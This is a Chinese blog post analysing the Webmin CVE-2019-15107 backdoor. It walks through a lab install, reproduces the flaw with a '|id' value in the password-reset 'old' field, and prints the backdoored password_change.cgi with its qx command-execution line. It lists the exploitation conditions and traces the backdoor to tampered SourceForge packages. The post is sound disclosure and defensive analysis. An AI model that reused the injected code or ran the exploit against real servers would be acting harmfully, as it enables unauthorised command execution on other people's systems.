CVE-2019-15107 Webmin RCE 后门深入分析


最近,有关webmin CVE-2019-15107,看了网上几篇分析文章,发现有些文章并没有把该有的细节讲清楚,比如:chybeta师傅分析的文章中root用户可以直接利用攻击,这里并没有说明白:如果系统用户(root等)被加入到webmin中作为特殊webmin用户,认证方式为Unix authenticaton,则使用user=被webmin添加的系统用户、old=任意字符|系统命令,此时系统命令是无法执行的【因为old根本进不去恶意代码存在的if逻辑中】。正因如此才有了下文,文中如有不当之处还忘各位师傅指出。

漏洞信息

Webmin是基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理(用户、网络、文件等)功能并完成相应的管理动作。

2019年8月10日,Pentest上发布了Webmin CVE-2019-15107未授权远程代码执行漏洞。当用户开启Webmin密码重置【使用过期的密码提示用户输入新密码】功能后,攻击者可以通过向password_change.cgi功能页面发送特定的POST请求在目标系统中执行任意命令,并且无需身份验证即未授权RCE。

影响版本:1.890 <= Webmin <= 1.920

环境部署

版本

webmin:1.920
OS:Linux 5.4.0-kali3-amd64 x86_64

安装

针对webmin特定版本的安装,官方指明了两种常规方法:一种通过系统软件包管理器安装、另一种通过脚本手动配置安装。这两种方法推荐第二种方法,第一种很容出现依赖问题,解决起来很麻烦!!!

下面以安装特定版本webmin:1.920来描述两种安装手法

  • 第一种

环境

# 系统
Debian OS

# 包管理器
dpkg

官网下载相应的deb

# 手动
https://sourceforge.net/projects/webadmin/files/webmin/

# 自动
wget http://prdownloads.sourceforge.net/webadmin/webmin_1.920_all.deb

安装

$ dpkg --install webmin_1.920_all.deb

一般情况下,这个安装过程会出现缺失依赖的情况

$ dpkg --install webmin_1.920_all.deb
Selecting previously unselected package webmin.
(Reading database ... 261755 files and directories currently installed.)
Preparing to unpack webmin_1.920_all.deb ...
Unpacking webmin (1.920) ...
dpkg: dependency problems prevent configuration of webmin:
 webmin depends on libauthen-pam-perl; however:
  Package libauthen-pam-perl is not installed.
 webmin depends on libio-pty-perl; however:
  Package libio-pty-perl is not installed.
 webmin depends on apt-show-versions; however:
  Package apt-show-versions is not installed.

dpkg: error processing package webmin (--install):
 dependency problems - leaving unconfigured
Processing triggers for systemd (244-3) ...
Errors were encountered while processing:
 webmin

根据提示安装依赖

$ apt-get install libauthen-pam-perl libio-pty-perl apt-show-versions

事实上这个解决依赖的过程中也会出现版本依赖问题导致依赖安装失败,如果你想折腾就慢慢解决它们之间的依赖问题!!!!

  • 第二种

环境

# 系统
Debian OS

# 工具
shell、perl

官网下载相应压缩包

# 手动
https://sourceforge.net/projects/webadmin/files/webmin/

# 自动
wget http://prdownloads.sourceforge.net/webadmin/webmin-1.920.tar.gz

解压

tar -xvf webmin-1.920.tar.gz

创建特定目录:为webmin定制特定目录

# 安装路径
mkdir -p /usr/local/share/webmin/webmin-1.920 

# 配置路径
mkdir -p /etc/webmin/webmin-1.920

# 日志路径
mkdir -p /var/webmin/webmin-1.920


mkdir -p /usr/local/share/webmin/webmin-1.920 /etc/webmin/webmin-1.920 /var/webmin/webmin-1.920

安装:进入解压后的webmin-1.920目录,使用安装脚本setup.sh进行特定目录的安装及配置

$ ./setup.sh /usr/local/share/webmin/webmin-1.920/
***********************************************************************
*            Welcome to the Webmin setup script, version 1.920        *
***********************************************************************
Webmin is a web-based interface that allows Unix-like operating
systems and common Unix services to be easily administered.

Installing Webmin from /mnt/hgfs/QSec/Pentest/Code-Audit/Source-Code/Webmin/sourceforge/webmin-1.920/webmin to /usr/local/share/webmin/webmin-1.920/ ...

***********************************************************************
Webmin uses separate directories for configuration files and log files.
Unless you want to run multiple versions of Webmin at the same time
you can just accept the defaults.

Config file directory [/etc/webmin]: /etc/webmin/webmin-1.920
Log file directory [/var/webmin]: /var/webmin/webmin-1.920

***********************************************************************
Webmin is written entirely in Perl. Please enter the full path to the
Perl 5 interpreter on your system.

Full path to perl (default /usr/bin/perl): 

Testing Perl ...
Perl seems to be installed ok

***********************************************************************
Operating system name:    Ubuntu Linux
Operating system version: 18.04.1

***********************************************************************
Webmin uses its own password protected web server to provide access
to the administration programs. The setup script needs to know :
 - What port to run the web server on. There must not be another
   web server already using this port.
 - The login name required to access the web server.
 - The password required to access the web server.
 - If the webserver should use SSL (if your system supports it).
 - Whether to start webmin at boot time.

Web server port (default 10000): 10000
Login name (default admin): admin
Login password: 
Password again: 
The Perl SSLeay library is not installed. SSL not available.
Webmin does not support being started at boot time on your system.
***********************************************************************
Copying files to /usr/local/share/webmin/webmin-1.920/ ..
..done

Creating web server config files..
..done

Creating access control file..
..done

Inserting path to perl into scripts..
..done

Creating start and stop scripts..
..done

Copying config files..
..done

Creating uninstall script /etc/webmin/webmin-1.920/uninstall.sh ..
..done

Changing ownership and permissions ..
..done

Running postinstall scripts ..
..done

Enabling background status collection ..
..done

Attempting to start Webmin mini web server..
Starting Webmin server in /usr/local/share/webmin/webmin-1.920/
..done

***********************************************************************
Webmin has been installed and started successfully. Use your web
browser to go to

  http://rose:10000/

and login with the name and password you entered previously.

使用这种方法安装之后访问webmin服务:正常安装启动、不存在依赖问题

image-20201019211526525

如何手动启动webmin服务:指定相应的miniserv.plminiserv.conf文件

$ /usr/bin/perl /usr/local/share/webmin/webmin-1.920/miniserv.pl /etc/webmin/webmin-1.920/miniserv.conf

密码重置

在webmin中对过期密码策略的管理方式有三种:始终拒绝密码过期的用户【默认】、始终允许用户使用过期的密码、使用过期的密码提示用户输入新密码。

这里为了复现分析漏洞,开启第三种策略:密码重置功能【未授权即可访问重置Webmin账户密码-》提供原账户、原密码、新密码即可】;

依次点击Webmin-> Webmin Configuration-> Authentication进行配置

image-20201020102949719

配置保存重启之后查看配置文件:miniserv.conf,其中有关密码过期策略passwd_mode=2已生效,其值取值为0、1、2分别代表上述三种策略。

image-20201020103201978

配置生效之后直接访问可能出现warning

image-20201020104432490

根据提示添加Referer头或修改相应配置项即可

  • Referer头

image-20201020212330079

  • 配置项
root@165df4a40dfa:# sed -i 's/referers_none=1/referers_none=0/g' /etc/webmin/webmin-1.920/config

漏洞复现

password_change.cgi具有密码重置功能,通过POST请求抓包,对old参数进行修改加上|id,即可执行系统命令id并回显。

image-20201020144615173

漏洞分析

在上述POC验证中,核心参数的含义为:

user   webmin原账户
old    webmin原密码
new1   webmin新密码
new2   webmin新密码

刚看到这个漏洞很是疑惑,为什么漏洞点会出现在old参数,其仅仅代表原密码,怎么会被RCE!!!带着这个疑惑开始了下文对webmin项目源码的审计分析。

通过漏洞点old参数进行逆向追踪分析,核心文件当然是password_change.cgi,其位于项目根目录下

#!/usr/local/bin/perl
# password_change.cgi
# Actually update a user's password by directly modifying /etc/shadow

BEGIN { push(@INC, "."); };
use WebminCore;

$ENV{'MINISERV_INTERNAL'} || die "Can only be called by miniserv.pl";
&init_config();
&ReadParse();
&get_miniserv_config(\%miniserv);
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

# Validate inputs
$in{'new1'} ne '' || &pass_error($text{'password_enew1'});
$in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'});

# Is this a Webmin user?
if (&foreign_check("acl")) {
    &foreign_require("acl", "acl-lib.pl");
    ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
    if ($wuser->{'pass'} eq 'x') {
        # A Webmin user, but using Unix authentication
        $wuser = undef;
        }
    elsif ($wuser->{'pass'} eq '*LK*' ||
           $wuser->{'pass'} =~ /^\!/) {
        &pass_error("Webmin users with locked accounts cannot change ".
                       "their passwords!");
        }
    }
if (!$in{'pam'} && !$wuser) {
    $miniserv{'passwd_cindex'} ne '' && $miniserv{'passwd_mindex'} ne '' || 
        die "Missing password file configuration";
    }

if ($wuser) {
    # Update Webmin user's password
    $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
    $perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
    $perr && &pass_error(&text('password_enewpass', $perr));
    $wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
    $wuser->{'temppass'} = 0;
    &acl::modify_user($wuser->{'name'}, $wuser);
    &reload_miniserv();
    }
elsif ($gconfig{'passwd_cmd'}) {
    # Use some configured command
    $passwd_cmd = &has_command($gconfig{'passwd_cmd'});
    $passwd_cmd || &pass_error("The password change command <tt>$gconfig{'passwd_cmd'}</tt> was not found");

    &foreign_require("proc", "proc-lib.pl");
    &clean_environment();
    $ENV{'REMOTE_USER'} = $in{'user'};    # some programs need this
    $passwd_cmd .= " ".quotemeta($in{'user'});
    ($fh, $fpid) = &proc::pty_process_exec($passwd_cmd, 0, 0);
    &reset_environment();
    while(1) {
        local $rv = &wait_for($fh,
               '(new|re-enter).*:',
               '(old|current|login).*:',
               'pick a password',
               'too\s+many\s+failures',
               'attributes\s+changed\s+on|successfully\s+changed',
               'pick your passwords');
        $out .= $wait_for_input;
        sleep(1);
        if ($rv == 0) {
            # Prompt for the new password
            syswrite($fh, $in{'new1'}."\n", length($in{'new1'})+1);
            }
        elsif ($rv == 1) {
            # Prompt for the old password
            syswrite($fh, $in{'old'}."\n", length($in{'old'})+1);
            }
        elsif ($rv == 2) {
            # Request for a menu option (SCO?)
            syswrite($fh, "1\n", 2);
            }
        elsif ($rv == 3) {
            # Failed too many times
            last;
            }
        elsif ($rv == 4) {
            # All done
            last;
            }
        elsif ($rv == 5) {
            # Request for a menu option (HP/UX)
            syswrite($fh, "p\n", 2);
            }
        else {
            last;
            }
        last if (++$count > 10);
        }
    $crv = close($fh);
    sleep(1);
    waitpid($fpid, 1);
    if ($? || $count > 10 ||
        $out =~ /error|failed/i || $out =~ /bad\s+password/i) {
        &pass_error("<tt>".&html_escape($out)."</tt>");
        }
    }
elsif ($in{'pam'}) {
    # Use PAM to make the change..
    eval "use Authen::PAM;";
    if ($@) {
        &pass_error(&text('password_emodpam', $@));
        }

    # Check if the old password is correct
    $service = $miniserv{'pam'} ? $miniserv{'pam'} : "webmin";
    $pamh = new Authen::PAM($service, $in{'user'}, \&pam_check_func);
    $rv = $pamh->pam_authenticate();
    $rv == PAM_SUCCESS() ||
        &pass_error($text{'password_eold'});
    $pamh = undef;

    # Change the password with PAM, in a sub-process. This is needed because
    # the UID must be changed to properly signal to the PAM libraries that
    # the password change is not being done by the root user.
    $temp = &transname();
    $pid = fork();
    @uinfo = getpwnam($in{'user'});
    if (!$pid) {
        ($>, $<) = (0, $uinfo[2]);
        $pamh = new Authen::PAM("passwd", $in{'user'}, \&pam_change_func);
        $rv = $pamh->pam_chauthtok();
        open(TEMP, ">$temp");
        print TEMP "$rv\n";
        print TEMP ($messages || $pamh->pam_strerror($rv)),"\n";
        close(TEMP);
        exit(0);
        }
    waitpid($pid, 0);
    open(TEMP, $temp);
    chop($rv = <TEMP>);
    chop($messages = <TEMP>);
    close(TEMP);
    unlink($temp);
    $rv == PAM_SUCCESS || &pass_error(&text('password_epam', $messages));
    $pamh = undef;
    }
else {
    # Directly update password file

    # Read shadow file and find user
    &lock_file($miniserv{'passwd_file'});
    $lref = &read_file_lines($miniserv{'passwd_file'});
    for($i=0; $i<@$lref; $i++) {
        @line = split(/:/, $lref->[$i], -1);
        local $u = $line[$miniserv{'passwd_uindex'}];
        if ($u eq $in{'user'}) {
            $idx = $i;
            last;
            }
        }
    defined($idx) || &pass_error($text{'password_euser'});

    # Validate old password
    &unix_crypt($in{'old'}, $line[$miniserv{'passwd_pindex'}]) eq
        $line[$miniserv{'passwd_pindex'}] ||
            &pass_error($text{'password_eold'});

    # Make sure new password meets restrictions
    if (&foreign_check("changepass")) {
        &foreign_require("changepass", "changepass-lib.pl");
        $err = &changepass::check_password($in{'new1'}, $in{'user'});
        &pass_error($err) if ($err);
        }
    elsif (&foreign_check("useradmin")) {
        &foreign_require("useradmin", "user-lib.pl");
        $err = &useradmin::check_password_restrictions(
                $in{'new1'}, $in{'user'});
        &pass_error($err) if ($err);
        }

    # Set new password and save file
    $salt = chr(int(rand(26))+65) . chr(int(rand(26))+65);
    $line[$miniserv{'passwd_pindex'}] = &unix_crypt($in{'new1'}, $salt);
    $days = int(time()/(24*60*60));
    $line[$miniserv{'passwd_cindex'}] = $days;
    $lref->[$idx] = join(":", @line);
    &flush_file_lines();
    &unlock_file($miniserv{'passwd_file'});
    }

# Change password in Usermin too
if (&get_product_name() eq 'usermin' &&
    &foreign_check("changepass")) {
    &foreign_require("changepass", "changepass-lib.pl");
    &changepass::change_mailbox_passwords(
        $in{'user'}, $in{'old'}, $in{'new1'});
    &changepass::change_samba_password(
        $in{'user'}, $in{'old'}, $in{'new1'});
    }


&header(undef, undef, undef, undef, 1, 1);

print "<center><h3>",&text('password_done', "/"),"</h3></center>\n";

&footer();

sub pass_error
{
&header(undef, undef, undef, undef, 1, 1);
print &ui_hr();

print "<center><h3>",$text{'password_err'}," : ",@_,"</h3></center>\n";

print &ui_hr();
&footer();
exit;
}

sub pam_check_func
{
my @res;
while ( @_ ) {
    my $code = shift;
    my $msg = shift;
    my $ans = "";

    $ans = $in{'user'} if ($code == PAM_PROMPT_ECHO_ON());
    $ans = $in{'old'} if ($code == PAM_PROMPT_ECHO_OFF());

    push @res, PAM_SUCCESS();
    push @res, $ans;
    }
push @res, PAM_SUCCESS();
return @res;
}

sub pam_change_func
{
my @res;
while ( @_ ) {
    my $code = shift;
    my $msg = shift;
    my $ans = "";
    $messages = $msg;

    if ($code == PAM_PROMPT_ECHO_ON()) {
        # Assume asking for username
        push @res, PAM_SUCCESS();
        push @res, $in{'user'};
        }
    elsif ($code == PAM_PROMPT_ECHO_OFF()) {
        # Assume asking for a password (old first, then new)
        push @res, PAM_SUCCESS();
        if ($msg =~ /old|current|login/i) {
            push @res, $in{'old'};
            }
        else {
            push @res, $in{'new1'};
            }
        }
    else {
        # Some message .. ignore it
        push @res, PAM_SUCCESS();
        push @res, undef;
        }
    }
push @res, PAM_SUCCESS();
return @res;
}

首先,源码12行会判断网站是否开启了密码重置功能,如未开启则会显示"Password changing is not enabled!"并终止后续代码的执行;该部分正如上文开启的重置功能miniserv.conf文件中passwd_mode=2相对应。

$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

紧接着14-16行代码会判断用户输入的新密码new1new2是否规范:新密码1不能为空并且需要等于新密码2

# Validate inputs
$in{'new1'} ne '' || &pass_error($text{'password_enew1'});
$in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'});

如果新密码不符合规范,则会进入pass_error()函数中,跟进pass_error()

sub pass_error
{
&header(undef, undef, undef, undef, 1, 1);
print &ui_hr();

print "<center><h3>",$text{'password_err'}," : ",@_,"</h3></center>\n";

print &ui_hr();
&footer();
exit;
}

pass_error()函数仅仅是对错误信息打印输出的一个封装,如果新密码不规范则会打印print相关错误信息并退出代码的执行exit;

18-31行代码会判断用户提交的user是否是Webmin用户

# Is this a Webmin user?
if (&foreign_check("acl")) {
    &foreign_require("acl", "acl-lib.pl");
    ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
    if ($wuser->{'pass'} eq 'x') {
        # A Webmin user, but using Unix authentication
        $wuser = undef;
        }
    elsif ($wuser->{'pass'} eq '*LK*' ||
           $wuser->{'pass'} =~ /^\!/) {
        &pass_error("Webmin users with locked accounts cannot change ".
                       "their passwords!");
        }
    }

首先引入acl/acl-lib.pl文件进行用户信息列表的查询,通过设置断点查看acl::list_users();用户信息列表

针对perl代码的审计:源码开头引入use Data::Dumper;,然后通过Dumper函数进行数据的打印

BEGIN { push(@INC, "."); };
use WebminCore;
use Data::Dumper;

......

# Is this a Webmin user?
if (&foreign_check("acl")) {
    &foreign_require("acl", "acl-lib.pl");
    ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();
    die Dumper(acl::list_users());

    ........

image-20201020152821255

$VAR1 = { 'twofactor_provider' => undef, 'cert' => '', 'temppass' => 0, 'twofactor_apikey' => undef, 'name' => 'root', 'pass' => 'x', 'logouttime' => undef, 'nochange' => 0, 'notabs' => undef, 'minsize' => '', 'twofactor_id' => undef, 'lang' => undef, 'modules' => [ 'backup-config', 'change-user', 'webmincron', 'usermin', 'webminlog', 'webmin', 'servers', 'acl', 'bacula-backup', 'init', 'passwd', 'quota', 'mount', 'fsdump', 'ldap-client', 'ldap-useradmin', 'logrotate', 'mailcap', 'mon', 'pam', 'proc', 'at', 'cron', 'package-updates', 'software', 'man', 'syslog', 'syslog-ng', 'system-status', 'useradmin', 'apache', 'bind8', 'dhcpd', 'dovecot', 'exim', 'fetchmail', 'jabber', 'ldap-server', 'mysql', 'openslp', 'postfix', 'postgresql', 'proftpd', 'procmail', 'qmailadmin', 'mailboxes', 'sshd', 'samba', 'sendmail', 'spam', 'squid', 'sarg', 'wuftpd', 'webalizer', 'adsl-client', 'bandwidth', 'fail2ban', 'firewalld', 'ipsec', 'krb5', 'firewall', 'firewall6', 'nis', 'net', 'xinetd', 'inetd', 'pap', 'ppp-client', 'pptp-client', 'pptp-server', 'stunnel', 'shorewall', 'shorewall6', 'tcpwrappers', 'idmapd', 'filter', 'burner', 'grub', 'raid', 'lvm', 'lpadmin', 'smart-status', 'time', 'vgetty', 'iscsi-client', 'iscsi-server', 'iscsi-tgtd', 'iscsi-target', 'cluster-passwd', 'cluster-copy', 'cluster-cron', 'cluster-shell', 'cluster-software', 'cluster-usermin', 'cluster-useradmin', 'cluster-webmin', 'heartbeat', 'shell', 'custom', 'filemin', 'tunnel', 'phpini', 'cpan', 'htaccess-htpasswd', 'telnet', 'status', 'ajaxterm', 'updown' ], 'rbacdeny' => undef, 'sync' => '', 'readonly' => undef, 'olds' => [], 'real' => undef, 'ownmods' => [], 'lastchange' => '' }; $VAR2 = { 'real' => undef, 'ownmods' => [], 'olds' => [], 'lastchange' => '', 'sync' => '0', 'readonly' => undef, 'modules' => [ 'acl', 'adsl-client', 'ajaxterm', 'apache', 'at', 'backup-config', 'bacula-backup', 'bandwidth', 'bind8', 'bsdfdisk', 'burner', 'change-user', 'cluster-copy', 'cluster-cron', 'cluster-passwd', 'cluster-shell', 'cluster-software', 'cluster-useradmin', 'cluster-usermin', 'cluster-webmin', 'cpan', 'cron', 'custom', 'dfsadmin', 'dhcpd', 'dovecot', 'exim', 'fail2ban', 'fetchmail', 'filemin', 'filter', 'firewall', 'firewall6', 'firewalld', 'format', 'fsdump', 'grub', 'heartbeat', 'htaccess-htpasswd', 'idmapd', 'inetd', 'init', 'inittab', 'ipfilter', 'ipfw', 'ipsec', 'iscsi-client', 'iscsi-server', 'iscsi-target', 'iscsi-tgtd', 'jabber', 'krb5', 'ldap-client', 'ldap-server', 'ldap-useradmin', 'logrotate', 'lpadmin', 'lvm', 'mailboxes', 'mailcap', 'man', 'mon', 'mount', 'mysql', 'net', 'nis', 'openslp', 'package-updates', 'pam', 'pap', 'passwd', 'phpini', 'postfix', 'postgresql', 'ppp-client', 'pptp-client', 'pptp-server', 'proc', 'procmail', 'proftpd', 'qmailadmin', 'quota', 'raid', 'samba', 'sarg', 'sendmail', 'servers', 'shell', 'shorewall', 'shorewall6', 'smart-status', 'smf', 'software', 'spam', 'squid', 'sshd', 'status', 'stunnel', 'syslog-ng', 'syslog', 'system-status', 'tcpwrappers', 'telnet', 'time', 'tunnel', 'updown', 'useradmin', 'usermin', 'vgetty', 'webalizer', 'webmin', 'webmincron', 'webminlog', 'wuftpd', 'xinetd' ], 'lang' => undef, 'rbacdeny' => undef, 'notabs' => undef, 'nochange' => 0, 'minsize' => '', 'twofactor_id' => undef, 'logouttime' => undef, 'twofactor_apikey' => undef, 'name' => 'admin', 'pass' => '$1$XXXXXXXX$bOc2gqbM67QUX/Oe0I7UM/', 'temppass' => 0, 'twofactor_provider' => undef, 'cert' => '' }; $VAR3 = { 'nochange' => 0, 'notabs' => undef, 'minsize' => '', 'twofactor_id' => undef, 'modules' => [ 'backup-config', 'change-user', 'webmincron', 'usermin', 'webminlog', 'webmin', 'servers', 'acl', 'bacula-backup', 'init', 'passwd', 'quota', 'mount', 'fsdump', 'ldap-client', 'ldap-useradmin', 'logrotate', 'mailcap', 'mon', 'pam', 'proc', 'at', 'cron', 'package-updates', 'software', 'man', 'syslog', 'syslog-ng', 'system-status', 'useradmin', 'apache', 'bind8', 'dhcpd', 'dovecot', 'exim', 'fetchmail', 'jabber', 'ldap-server', 'mysql', 'openslp', 'postfix', 'postgresql', 'proftpd', 'procmail', 'qmailadmin', 'mailboxes', 'sshd', 'samba', 'sendmail', 'spam', 'squid', 'sarg', 'wuftpd', 'webalizer', 'adsl-client', 'bandwidth', 'fail2ban', 'firewalld', 'ipsec', 'krb5', 'firewall', 'firewall6', 'nis', 'net', 'xinetd', 'inetd', 'pap', 'ppp-client', 'pptp-client', 'pptp-server', 'stunnel', 'shorewall', 'shorewall6', 'tcpwrappers', 'idmapd', 'filter', 'burner', 'grub', 'raid', 'lvm', 'lpadmin', 'smart-status', 'time', 'vgetty', 'iscsi-client', 'iscsi-server', 'iscsi-tgtd', 'iscsi-target', 'cluster-passwd', 'cluster-copy', 'cluster-cron', 'cluster-shell', 'cluster-software', 'cluster-usermin', 'cluster-useradmin', 'cluster-webmin', 'heartbeat', 'shell', 'custom', 'filemin', 'tunnel', 'phpini', 'cpan', 'htaccess-htpasswd', 'telnet', 'status', 'ajaxterm', 'updown' ], 'lang' => undef, 'rbacdeny' => undef, 'sync' => '', 'readonly' => undef, 'real' => undef, 'olds' => [], 'ownmods' => [], 'lastchange' => '', 'twofactor_provider' => undef, 'cert' => '', 'temppass' => 0, 'twofactor_apikey' => undef, 'name' => 'rose', 'pass' => 'x', 'logouttime' => undef };

通过断点数据,以字典的形式显示了每个用户的详细信息:可操作模块'modules'、用户名'name'、用户密码'pass'

继续审计18-31行代码,21行通过acl::list_users()获取用户信息列表之后,通过grep筛选出存在的webmin用户,$in{'user'}为用户输入的user$_->{'name'}为webmin用户,如果这里未从字典中匹配到webmin用户,也就是说用户提交的user不存在,则$wuser赋值为undef

undef是perl中变量未初始化时的默认值。当这个未初始化的变量被当做整型来使用时,那么undef就是0;当这个变量被当做字符串来使用时,那么undef就是空字符串。所以当在perl中使用一个未经过初始化的变量时,程序的运行是没有问题的。

image-20201020160842603

下面的审计需要特别注意一下,undef在if条件里默认为False,如果用户提交的user不存在即$wuser=undef,但是$wuser经过紧接着的22-25行代码的if判断处理会变成{},而{}在if条件里默认为True:$wuser->{'pass'} eq 'x'该处逻辑比对会致使原本的undef变为{}

注意:这里只是通过if判断使$wuser变为了{},而此处的if条件$wuser->{'pass'} eq 'x'结果是为False的,当用户提交的user不存在或者为特定系统用户的时候。

下断点进行调试查看

image-20201020161148781

思考,这里为什么要将查询的用户的密码与字符串x比较呢??

下面就涉及到了webmin用户的几种认证方法:普通webmin用户认证、系统webmin用户认证Unix authenticaton

首先,正常情况下系统用户不同于webmin用户:system user != webmin user,但是webmin可以在经过配置添加特定系统用户的情况下,使特定系统用户可直接登录webmin。

添加不同的webmin用户:登录webmin依次访问webmin->webmin user->Create a new Webmin user进行创建

  • 特定系统用户root

添加的系统用户,在系统中必须存在,Username选择想要添加的系统用户、Password为认证方式(选择Unix authentication认证,不需要输入密码,实质上是通过Linux系统/etc/shadow进行认证的)

image-20201020165712324

  • 普通webmin用户-非系统用户

与系统用户无关,Username为普通用户、Password为认证方式(配置密码认证)

image-20201020170243321

  • 查看webmin几种用户
root与rose:特定系统用户

admin:普通webmin用户

image-20201020170810176

查看webmin对几种用户的密码存储方式

root@rose:/usr/local/share/webmin/webmin-1.920# cat /etc/webmin/webmin-1.920/miniserv.users
root:x
admin:$1$XXXXXXXX$bOc2gqbM67QUX/Oe0I7UM/:0
rose:x::::::::::::
root@rose:/usr/local/share/webmin/webmin-1.920#

了解了webmin几种用户认证方式,那么代码中if ($wuser->{'pass'} eq 'x')判断用户密码是否为x也就是判断用户提交的user是否为webmin添加的特定的系统用户,如果是的话就会将$wuser赋值为undef使用户无法进入37-47行代码中更改Linux系统用户账户密码【看来webmin项目做的还挺好的,值得一赞】。

继续后续的审计分析,测试undef{}的区别

if (undef) {
    print("undef If True");
}else{
    print("undef If False");
}

print("\n");

if ({}) {
    print("{} If True");
}else{
    print("{} If False");
}

run:
undef If False
{} If True
Process finished with exit code 0

当user不存在的时候$wuser变量从undef变为{}会对后续代码造成影响吗,继续后续代码的分析

37-47行代码会对$wuser进行判断是否进入if条件中的webmin用户密码更新

if ($wuser) {
    # Update Webmin user's password
    $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
    $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
    $perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
    $perr && &pass_error(&text('password_enewpass', $perr));
    $wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
    $wuser->{'temppass'} = 0;
    &acl::modify_user($wuser->{'name'}, $wuser);
    &reload_miniserv();
    }

由于此时的$wuser={},导致不存在的用户user会进入if条件进行密码更新,进入if条件后,会对用户输入的旧密码old与查询出列表中用户的密码进行对比,理所当然的,不存在的user到这里会自动执行pass_error()函数进行错误信息的打印与退出。

如果用户提交的userold等参数都正确的情况下,会对webmin用户密码进行正常更新并重新加载webmin服务

$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
.......
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();

这一系列代码功能的审计分析下来好像并没有发现什么问题,可是往往代码所引发的问题都会隐藏在某一个隐秘的角落中

$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

仔细看来,会发现针对用户提交不存在的用户user或旧密码old错误的情况下会触发上面代码片段pass_error()进行错误信息打印,但是这个函数里面的参数是存在严重问题的,参数通过$text{'password_eold'}qx/$in{'old'}/进行拼接,$text{'password_eold'}为正常一个字符串"The current password is incorrect",而qx/$in{'old'}/则是一个可执行系统命令的代码片段!!!

在perl中,qx//的用法为执行系统命令

root@rose:~# cat test.pl
print(qx/id/);
root@rose:~# perl test.pl
uid=0(root) gid=0(root) groups=0(root)
root@rose:~#

分析到这里,也就知道了为什么会造成未授权RCE漏洞。

漏洞利用

整理思路可知,漏洞利用条件可为如下几种

1、开启密码重置功能【针对有些版本不需要开启密码重置功能,比如:webmin 1.890】
2、user不存在、old=任意字符|系统命令、new1==new2  
或者
user不存在、old=系统命令、new1==new2  
或者
user存在但不为特定系统用户【指webmin添加的系统用户】、old为假(任意字符|系统命令 或 系统命令)、new1==new2

漏洞后门

回过头再仔细想来,为什么代码会对old参数执行命令呢,难道被植入了后门吗,查看官方的代码修复方案直接将qx/$in{'old'}/给删除了,同时对比官方GitHub与sourceforge下载的项目对比,发现Github项目下载的相同版本并没有,qx/$in{'old'}/该恶意片段。

image-20201020180355877

事实上在2018年7月,就有人在GitHub上提到了有关问题,只是当时的版本为1.890

image-20201020180158717

分别从sourceforge与github上下载webmin 1.890项目,对比分析发现当时sourceforge上的webmin 1.890项目也存在后门,只是代码可执行的位置不同而已。

image-20201020181033173

事实上针对sourceforge上webmin 1.890很明显被种植了后门,根本不需要开启密码重置功能,在expired参数中可直接执行系统命令

image-20201020181932867

分析到这里,无疑SourceForge被入侵,致使攻击者修改了webmin项目代码留存后门。

类似后门事件很多,如:2019年phpstudy后门风波,事件起因于2016年官网被入侵,致使攻击者在phpstudy项目中留入后门dll文件,该事件当时在国内也是掀起了一番浪潮!!!

漏洞修补

  • 检查项目代码是否存在qx//后门,将其直接删除即可。

  • 建议webmin项目尽量从官方github下载部署。

分析感想

不担心项目开发存在问题,就担心官方项目被攻击者入侵植入后门!!!

参考链接

https://paper.seebug.org/1019/
https://www.anquanke.com/post/id/184668
https://xz.aliyun.com/t/6040
https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html

Author: Qftm
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source Qftm !
 Previous
命令执行底层原理探究-PHP 命令执行底层原理探究-PHP
针对不同平台/语言下的命令执行是不相同的,存在很大的差异性。因此,这里对不同平台/语言下的命令执行函数进行深入的探究分析。
2020-12-01
Next 
PHP MD5 Bypass Trick PHP MD5 Bypass Trick
前言该篇主要记录有关PHP代码中MD5逻辑缺陷的绕过技巧【update+ing】 PHP-逻辑类型PHP 类型比较表 弱类型-松散比较 弱类型比较 字符==:【不比较数据类型】、【仅比较数据值=>数据值相同】 字符!=:【仅比较数据
2020-08-23
  TOC